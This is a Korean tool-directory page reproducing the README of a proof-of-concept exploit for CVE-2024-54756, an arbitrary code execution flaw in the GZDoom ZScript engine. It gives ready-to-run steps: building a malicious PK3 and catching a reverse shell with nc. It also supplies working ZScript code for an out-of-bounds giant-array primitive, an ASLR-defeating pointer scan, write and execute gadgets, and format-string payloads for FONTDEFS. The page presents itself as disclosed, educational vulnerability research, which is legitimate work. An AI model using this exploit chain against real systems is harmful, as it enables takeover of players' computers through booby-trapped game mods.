Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC — CVE-2024-54756의 개념 증명, GZDoom의 ZScript 스크립팅 엔진에서 내가 발견한 취약점. | Kitploit
도구/GitHubGitHub/chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringShellcodeLearning & EducationPayload DevelopmentBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

CVE-2024-54756의 개념 증명, GZDoom의 ZScript 스크립팅 엔진에서 내가 발견한 취약점.

저장소 보기
121년 전아직 검토되지 않음

GZDoom <= 4.13.1 악의적인 ZScript를 통한 임의 코드 실행

GZDoom (https://github.com/zdoom/gzdoom)의 ZScript 기능에서 발견한 임의 코드 실행 취약점에 대한 개념 증명입니다. 공격자는 PK3 파일에 악성 ZScript 소스 파일을 포함시켜 희생자의 PC에 접근할 수 있습니다.

GZDoom 개발팀의 Rachael과 Agent Ash에게 신속한 응답에 큰 감사를 드리며, 그들과 다른 GZDoom 개발자들에게도 이 문제를 신속히 해결해 주셔서 감사드립니다!

영향을 받는 버전

4.13.0 및 4.13.1에서 작동이 확인되었으며, 이전 버전에서도 작동할 가능성이 높습니다. 자신의 WAD를 플레이하려면 4.13.1 이하 버전으로 다운그레이드하라고 알려주는 사람을 조심하세요.

이 PoC는 Linux에서만 작동하지만, 취약점은 Windows에도 존재할 가능성이 높습니다. ZDoom이나 LZDoom에서는 테스트되지 않았지만, 취약점이 그곳에도 존재할 수 있습니다.

이 취약점은 이 PoC가 공개되기 전에 개발자들에게 공개되었으며, 버전 4.13.2에서는 더 이상 존재하지 않아야 합니다. 제가 알기로는 이 버전에는 실질적인 호환성 문제를 일으키는 변경 사항이 포함되어 있지 않습니다.

면책 조항

이 PoC는 교육 목적으로 제작 및 공개되었으며, 게임/스크립트 엔진 개발자가 취약점이 어떻게 발생할 수 있는지 이해하고, 플레이어가 악성 게임 모드가 어떤 모습일 수 있는지 이해할 수 있도록 하기 위함입니다. 저는 이 PoC의 오용에 대한 책임이나 법적 책임을 지지 않습니다. 동료 게이머의 PC를 손상시키는 데 사용하지 마십시오. 불법이며, 비디오 게임을 통해 다른 사람의 컴퓨터를 장악하는 것은 특히 비열한 행동입니다.

PoC 사용 방법

이 PoC를 사용하려면 이 저장소를 다운로드하고 zscript.zs와 MAPINFO를 포함하는 PK3 파일(.pk3 확장자를 가진 zip 파일)을 생성하세요:

root@kitploit:~
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO

기본 페이로드는 localhost의 포트 1337로 리버스 셸을 실행하는 것입니다. 리스너를 시작하세요:

root@kitploit:~
nc -nvlp 1337

다음과 같이 PoC를 실행하세요:

root@kitploit:~
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3

작동했다면, 이제 자신에게 리버스 셸이 연결되어 있어야 합니다.

이 PoC는 Linux 전용입니다. 첫 시도에 작동하지 않을 수 있습니다. 작동할 때까지 다시 시도하세요.

설명

참고: 이것은 제 첫 번째 익스플로잇 작성이며, 저는 여전히 저수준 작성 기술을 향상시키는 중입니다. 또한 GDB로 많은 디버깅을 했는데, 아쉽게도 설명을 더 잘하기 위해 메모리 덤프를 저장할 생각을 하지 못했습니다. 죄송합니다! 다음 작성은 더 나을 것을 약속합니다.

GZDoom은 성능과 확장성을 위해 설계된 Doom 소스 포트입니다. 강력한 기능 덕분에 많은 훌륭한 WAD, 모드, 심지어 상업용 전체 변환 게임이 만들어졌습니다. 불행히도, 복잡성이 있는 곳에는 취약점이 발생할 기회가 있으며, 이 경우 ZScript 스크립팅 엔진에 두 가지 취약점이 존재하여 완전한 익스플로잇 체인이 발생할 수 있었습니다.

이 공격은 ASLR을 무력화하고 스택 카나리를 우회할 필요성을 피합니다. Clang의 CFI나 섀도우 스택이 여기에 도움이 되었을 것 같지는 않습니다.

취약점

첫 번째이자 가장 중요한 취약점은 거대한 배열이 처리되는 방식에 있었습니다. 충분히 작은 배열을 할당하면 할당된 메모리 영역은 일반적으로 0으로 채워지고 다른 객체와 적절히 분리됩니다. 초기화되지 않은 메모리를 읽어도 정보를 얻을 수 없으며, 배열과 겹치는 객체도 없습니다. 그러나 거대한 배열(예: 1073741823개 이상의 32비트 워드)을 할당하면 배열 시작 지점에서 최대 4GiB의 잠재적으로 초기화되지 않은 메모리를 읽고 쓸 수 있어, 공격자가 다른 객체를 직접 수정하고 알려진 오프셋을 가진 주소를 찾아 ASLR을 무력화할 수 있습니다. 또한 이 지점 이후에 생성된 다른 배열은 거대한 배열과 겹치게 됩니다.

두 번째 취약점은 메모리 맵 권한에 있었습니다. 더 빠른 성능을 위해 ZScript 코드는 가능할 때마다 x86 또는 x86-64 바이트코드로 JIT 컴파일됩니다. 이를 위해서는 코드가 메모리 영역에 기록되어야 하고, 해당 메모리 영역이 실행 가능해야 합니다. 그러나 W^X 규칙은 영역이 쓰기 가능 또는 실행 가능 중 하나여야 하며, 둘 다여서는 안 된다고 명시합니다. (영역을 쓰기 가능으로 만들고, 코드를 작성한 다음, 영역을 실행 가능하고 쓰기 불가능하게 만드는 대신) 둘 다 동시에 적용되면, 임의 쓰기 프리미티브를 가진 공격자는 이를 임의 코드 실행으로 확대할 수 있습니다. 그들은 셸코드를 작성하고 스택의 반환 주소를 수정하는 등의 방법으로 점프할 수 있습니다(공격자가 임의 실행 프리미티브를 가지고 있지 않다고 가정). GZDoom이 실행 중일 때 메모리 매핑을 보면 여러 RWX 영역이 있음을 알 수 있습니다:

root@kitploit:~
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0

따라서 임의 쓰기 및 임의 실행 프리미티브를 사용할 수 있고 공격자가 RWX 영역이 있는 위치를 알고 있다면, 그들은 임의 셸코드를 작성하고 실행할 수 있습니다. JIT 컴파일된 코드를 작성할 때 이러한 영역을 RW-로 만들고 실행할 준비가 되면 R-X로 만드는 것은 이 PoC를 막을 수 있지만, 예를 들어 스택(ROP) 또는 힙의 데이터를 수정하여 코드 실행을 얻는 공격자를 막지 못할 것입니다.

가젯

또한 유용한 가젯이 있습니다. 거대한 배열을 할당할 때, 그 이후에 생성된 다른 배열이 겹치는 것을 기억하시나요? 여기에는 객체 포인터 배열도 포함됩니다. C++ 객체와 매우 유사하게 ZScript 객체는 변수와 함수 포인터를 포함할 수 있습니다. 다음과 같은 객체가 있다고 가정해 봅시다:

root@kitploit:~
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}

WeirdObject 인스턴스에 대한 포인터를 포함하는 배열을 생성하면, 공격자는 거대한 배열을 사용하여 포인터를 원하는 곳으로 변경하고 객체의 필드에 접근하여 가리키는 데이터를 변경할 수 있으므로, 힙을 넘어서는 임의 읽기/쓰기 프리미티브를 얻을 수 있습니다. ZScript의 포인터는 null이 아닌지 확인되지만, 정상적인지 확인되지는 않습니다.

함수 포인터의 존재는 또한 임의 실행 프리미티브를 제공합니다. 그러나 이것은 조금 더 복잡하며, 가상 머신을 만족시키기 위해 가짜 VMFunction을 생성해야 합니다. 익스플로잇 코드에 ZScript 함수 호출이 도입되는 즉시 해당 코드는 더 이상 JIT 컴파일되지 않습니다. 여전히 작동하지만, 디버깅과 익스플로잇이 조금 더 까다로워집니다. 이 부분을 수행하는 더 좋은 방법이 있을 수도 있지만, GZDoom 내부를 충분히 연구하지 않아서 알지 못합니다.

한 가지 주의할 점: WeirdObject는 상속된 멤버 변수를 가지고 있으므로 첫 번째 멤버는 오프셋 0x28에서 시작합니다.

익스플로잇

이제 다음과 같은 도구가 있습니다:

  • 힙의 거대한 영역에 대한 임의 읽기/쓰기
  • 힙을 넘어서는 임의 읽기/쓰기/실행
  • RWX 영역

이들을 연결하여 익스플로잇을 만드는 방법은 무엇일까요?

먼저, ASLR이 활성화되어 있기 때문에 RWX 영역이 있는 위치를 식별해야 합니다. 아무 것이나 괜찮습니다. 거대한 배열에서 접근 가능한 힙 부분에는 RWX 영역 내의 함수를 가리키는 주소가 포함되어 있지만, 다른 영역을 가리키는 주소도 있습니다. 어떻게 구별할까요? Linux에서 ASLR은 28비트의 엔트로피를 가지며(때로는 더 적음!), 주소에서 마스크 0x7fffffe00000의 비트는 무작위이지만, 비트 0x0000001fffff는 정적이라는 점을 기억하세요. 따라서 ASLR을 비활성화한 상태에서 다음과 같은 RWX 영역이 있다고 가정해 봅시다:

root@kitploit:~
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)

그런 다음 다음 ZScript 코드를 사용하여 RWX 영역 내의 JIT 컴파일된 ZScript 함수에 대한 포인터를 출력할 수 있습니다:

root@kitploit:~
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
	u32RWX_L = u32pBFA9000[i];
	u32RWX_H = u32pBFA9000[i+1];

	if ((u32RWX_H & 0xffff8000) == 0)
	{
		if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf3800000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf4200000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
	}
}

출력된 결과를 0x1fffff와 AND 연산하여 오프셋을 얻고, 이 오프셋을 사용하여 RWX 영역에 대한 포인터를 식별할 수 있습니다. 알고 있는 오프셋이 많을수록 익스플로잇이 성공할 가능성이 높아집니다.

다음으로, 임의 실행 프리미티브를 준비해야 합니다. 이를 위해 임의 쓰기 프리미티브를 사용하여 위에서 선언한 WeirdObject와 같은 가젯 객체의 함수 포인터를 수정합니다. u32pBFA9000이 선언된 후, 임의 쓰기 및 실행 가젯 객체를 생성합니다:

root@kitploit:~
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject");        // Arbitrary execute object.

ppGadgetObjects는 u32pBFA9000과 시작 부분에서 바로 겹치며, WeirdObject 전용 멤버는 오프셋 0x28에서 시작한다는 점을 기억하세요. 임의 쓰기 프리미티브는 다음과 같으며, 여기서 TARGET_ADDR은 대상 쓰기 주소, QWORD는 쓸 64비트 정수, _H/_L은 각각 64비트 정수의 상위 및 하위 32비트를 나타냅니다:

root@kitploit:~
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;

ZScript의 함수 포인터가 어떻게 작동하는지 충분히 알지 못하며, 이 부분을 설명하는 것이 여전히 어렵다는 점을 인정합니다. 그래도 최선을 다해 설명하겠습니다. 더 혼란스럽게 한다면 죄송합니다.

  • 실행 가젯 WeirdObject의 함수 포인터 대상의 오프셋 0x38에는 제가 식별할 수 없는 클래스/구조체에 대한 포인터가 있습니다.
  • 이 식별되지 않은 클래스/구조체의 오프셋 0x8에는 VMFunction에 대한 포인터가 있습니다.
  • VMFunction의 오프셋 0xc에는 32비트 VarFlags 멤버가 있습니다. 이를 0으로 설정하면 셸코드를 호출하는 더 짧은 경로가 만들어집니다.
  • VMFunction의 오프셋 0x58에는 호출할 함수에 대한 실제 포인터가 있습니다.

이 부분에 대해 다이어그램을 그려야 하지만, 지금은 ASCII 아트를 할 기분이 아닙니다. 위의 내용이 어떻게 보이는지 익스플로잇 소스 코드를 참조하세요.

위 내용이 정리되면, 가젯 객체의 함수 포인터를 수정할 수 있습니다. 호출하면, 셸코드가 작성된 후 실행됩니다.

마지막 단계는 셸코드 자체를 작성하는 것입니다. 이 PoC는 셸 명령을 호출하므로, 일부 문자열("/bin/bash", "-c", 명령 문자열)도 작성해야 합니다. 이 부분은 실행하려는 내용에 따라 쉬울 수도 있고 어려울 수도 있습니다.

모든 작업이 완료되면, 실행 가젯 WeirdObject가 가리키는 함수를 호출하면, 이제 자신의 셸코드가 실행됩니다.

추가 잠재적 취약점에 대한 참고 사항

몇 가지 추가 취약점을 발견했지만, 이를 익스플로잇하고 완전한 ACE 체인을 제공하는 방법을 찾을 수 없었습니다. strcpy() 스택 오버플로우 취약점은 버전 4.13.2에서 수정되었습니다. mysnprintf() 포맷 문자열 취약점은 아직 수정되지 않았지만, 익스플로잇하려고 한다면 행운을 빕니다.

포맷 문자열 취약점

common/fonts/font.cpp의 FFont 생성자에 포맷 문자열 취약점이 있습니다(실제로는 두 개).

root@kitploit:~
[...]
if (nametemplate != nullptr)
{
	if (!iwadonly)
	{
		for (i = 0; i < lcount; i++)
		{
			int position = lfirst + i;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
			[...]
		}
	}
	else
	{
		FGameTexture *texs[256] = {};
		if (lcount > 256 - start) lcount = 256 - start;
		for (i = 0; i < lcount; i++)
		{
			TArray<FTextureID> array;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			TexMan.ListTextures(buffer, array, true);
			[...]
		}
		[...]
	}
	[...]
}
[...]

FONTDEFS 덩어리의 항목에서 TEMPLATE 인수가 직접 mysnprintf()에 전달됩니다. 이는 다음과 같은 항목을 가질 수 있음을 의미하며, 이는 스택 변수를 기반으로 폰트를 로드하려고 시도합니다:

root@kitploit:~
EVILFONT
{
	TEMPLATE LOL%hhx
}

또는 스택의 어딘가에 기록된 문자 수를 작성하여 충돌을 일으키는 항목:

root@kitploit:~
EVILFONT
{
        TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

출력이 제한된다는 사실은 중요하지 않습니다. 퍼센트 기호는 최대 길이에 관계없이 구문 분석됩니다.

mysnprintf()는 유연성을 희생하여 성능을 위해 설계된 사용자 정의 퍼블릭 도메인 snprintf() 구현입니다. 이를 익스플로잇하는 것은 libc의 표준 구현보다 훨씬 어렵습니다. 예를 들어, %n을 사용하면 32비트 워드만 쓸 수 있으며 %<num>$n을 사용하여 특정 스택 요소에 쓸 수 없습니다.

strcpy() 스택 스매싱

또한 gamedata/statistics.cpp의 LevelStatEntry()에서 소스가 대상보다 길 수 있는 위험한 strcpy() 호출이 있습니다. 함수:

root@kitploit:~
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
	FLevelStatistics s;
	time_t clock;
	struct tm *lt;

	time (&clock);
	lt = localtime (&clock);

	strcpy(s.name, level);
	strcpy(s.info, text);
	s.timeneeded=playtime;
	es->levelstats.Push(s);
}

스택에 할당된 FLevelStatistics 구조체는 다음과 같습니다:

root@kitploit:~
struct FLevelStatistics
{
	char info[60];
	short skill;
	short playerclass;
	char name[24];
	int timeneeded;
};

그리고 LevelStatEntry()는 다음과 같이 호출되며, LevelData.Levelname( std::string 타입)을 인수로 사용합니다:

root@kitploit:~
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
	FString lsection = LevelData[i].Levelname;
	^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	lsection.ToUpper();
	infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
		 LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);

	LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
			   ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]

이 지점에 도달하기 위해 g_level.cpp의 FLevelLocals::ChangeLevel()에서 시작하는 다른 호출 체인이 있지만, 여기서 보여주지는 않겠습니다. 이 지점에 도달하는 실행 체인을 따라 LevelData.Levelname의 길이에 대한 검사나 제한이 없다는 점을 말씀드립니다.

최신 시스템에서는 이것이 익스플로잇 가능하지 않아야 합니다. 스택 카나리가 이 경로를 통한 모든 스택 스매싱 시도를 그 자리에서 막을 것이며, ASLR은 사용자가 반환 위치를 알지 못하게 할 것입니다. 또한, 가젯은 하나만 얻을 수 있습니다: LevelStatEntry()를 종료할 때 반환 주소를 덮어쓰는 것입니다. 그러나 구형 시스템에서는 이러한 방어가 없을 수 있으며, JIT 컴파일된 ZScript 코드가 익스플로잇을 위한 가젯을 제공할 수도 있습니다.

도구 다운로드